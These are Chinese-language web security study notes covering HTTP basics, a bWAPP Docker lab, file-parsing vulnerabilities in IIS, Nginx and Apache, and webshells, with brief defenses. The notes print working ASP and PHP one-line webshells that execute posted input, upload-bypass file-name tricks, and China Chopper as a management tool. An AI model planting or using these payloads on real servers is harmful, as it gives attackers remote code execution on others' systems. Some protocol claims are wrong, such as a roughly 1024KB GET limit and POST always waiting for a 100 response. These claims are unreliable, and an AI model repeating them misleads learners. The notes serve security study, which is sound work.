1. 网络协议基础

Socket 与 WebSocket 的区别

Socket 和 WebSocket 工作在不同的网络层次,具有不同的特性和用途。

HTTP 状态码分类

  • 1xx: 信息性状态码,表示请求已被接收,继续处理
  • 2xx: 成功状态码,表示请求已成功被服务器接收、理解并接受
  • 3xx: 重定向状态码,需要客户端采取进一步的操作才能完成请求
  • 4xx: 客户端错误状态码,表示请求包含语法错误或无法完成请求
  • 5xx: 服务器错误状态码,表示服务器在处理请求的过程中发生了错误

GET 与 POST 方法的区别

  • GET: 将请求参数附加在URL后面发送,有长度限制(通常约1024KB),主要用于获取资源
  • POST: 分两步发送,先发送请求头,服务器返回100状态码后,再发送数据包,主要用于提交数据

虽然POST相比GET在HTTP下略安全,但在HTTPS环境下,由于数据都会被加密,这种安全性差异变得不那么重要。主要区别在于功能性:GET适合快速访问资源,POST适合包含用户数据的提交。

2. Web安全原则

Web安全的本质是用户的输入是不可信的。但要做到完全的安全,成本和用户体验会成比例下降,因此需要在安全性和用户体验之间找到平衡点。

3. 渗透测试环境

可以使用Docker快速搭建渗透测试环境:

docker run -d -p 80:80 raesene/bwapp
docker ps -a  # 查看所有容器
docker exec -it <container_id> bash  # 进入容器命令行

Web容器支持各种语言解析器模块,不同服务器存在不同的解析漏洞:

IIS 5.0/6.0 解析漏洞

  • www.xx.com/xx.asp/xx.jpg: 在.asp目录下的任何文件都会被解析为ASP文件
  • www.xx.com/xx.asp;.jpg: 服务器默认不解析分号(;)之后的内容

Nginx 解析漏洞

  • www.xx.com/phpinfo.jpg/1.php: 当访问的1.php不存在时,默认解析phpinfo.jpg并按PHP文件方式执行

Apache 1.x/2.x 解析漏洞

  • 上传shell.php.test文件,服务器按从右到左的顺序判断后缀,跳过不能识别的后缀,直到找到能识别的后缀

4. WebShell与防护

一句话木马

制作一句话木马(WebShell)文件上传到服务器,然后调用上传的文件获取服务器回显。

ASP 一句话木马

<%execute(request("value"))%>

PHP 一句话木马

<?php @eval($_POST["value"]);?>

防护措施

  • eval()函数可以把字符串当作参数传给服务器执行指令并返回结果
  • 可以禁用该函数,或确保用户端无法接触到该功能
  • 在WAF防火墙做特征验证

相关工具

  • Windows软件:中国菜刀(用于管理WebShell)